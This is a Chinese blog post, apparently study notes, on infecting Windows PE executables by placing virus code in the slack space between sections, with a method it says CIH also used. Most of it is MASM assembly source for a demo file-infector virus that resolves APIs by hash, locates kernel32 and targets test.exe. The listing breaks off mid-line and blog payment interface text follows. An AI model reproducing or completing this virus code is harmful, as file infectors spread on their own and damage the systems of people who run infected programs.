搜寻节空隙感染学习笔记

原文:http://www.pediy.com/kssd/index.html -- 病毒技术 -- 病毒知识 -- Anti Virus专题


那么搜寻节空隙感染,最重要的就是找到我们节中存在的空隙。一般在病毒技术中,有两种方法。 

  1. 循环读取节表,然后分别在每个节中搜寻00机器码(因为默认编译器是用00机器码填充的),如果此00机器码区域的大小大于病毒的体积。则取这段区域的偏移。
  2. 循环读取节表,通过节表结构中的物理文件大小 - 节映射大小 取得 节后面的物理空隙,然后判断此段空隙大小是否大于我们病毒体积,如果大于的话,则取这段区域的偏移。
  另外还有将我们病毒分段插入,这需要依靠我们的反汇编引擎,将病毒代码拆解成多个过程,然后分别插入,最后将这些过程连接起来,同样这样也有很多弊端,所以很多时候这不能使我们产生动力...。

  我们今天的代码使用的是第二种方法,因为第一种方法的弊端太多,例如如果被感染文件的空隙不是00机器码填充的等。为了稳定性还是选择第二种方法,虽然它的限制会比较多。实际上CIH利用的也是我们今天的第二种方法。


代码:

; 链接选项加入/SECTION:.text|RWE
	.386
	.model flat, stdcall
	option casemap:none
	
include windows.inc

	.code
	
VirusEntry:
	pushad
	call Dels
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	
Table:
	   dd  038C62A7Ah
       _CreateFile  dd  0
           dd  09554EFE7h
       _GetFileSize  dd  0
           dd  00BE25545h
       _ReadFile  dd  0
           dd  0A9D1FD70h
       _SetFilePointer  dd  0
           dd  0C0D6D616h
       _CloseHandle  dd  0
           dd  0C2F6D009h
       _GlobalAlloc  dd  0
           dd  0585ED3CFh
       _GlobalFree  dd  0
           dd  058D8C545h
       _WriteFile  dd  0
           dd  0A412FD89h
       _LoadLibrary  dd  0
           dd  014D14C51h
       _MessageBox  dd  0 
       dd 0
       szCaption	db 'Virus Dream - Demo', 0
       szText		db 'Oh Yeah of Virus Dream', 0
       szFileName	db 'test.exe', 0
       nWriteByteNum	dd 0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Dels:
	pop ebp
	call GetKernel32
	
	mov edi, ebp			; edi = pHashStringList = Table
	call GetFuncAddress
	
	push '23'
	push 'resu'
	push esp			; lpFileName = user32
	call dword ptr [ebp + (_LoadLibrary - Table)]
	pop edx
	pop edx				; 弹出'user32'
	
	mov edi, ebp
	call GetFuncAddress
	
	cmp ebp, Dels - (De
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值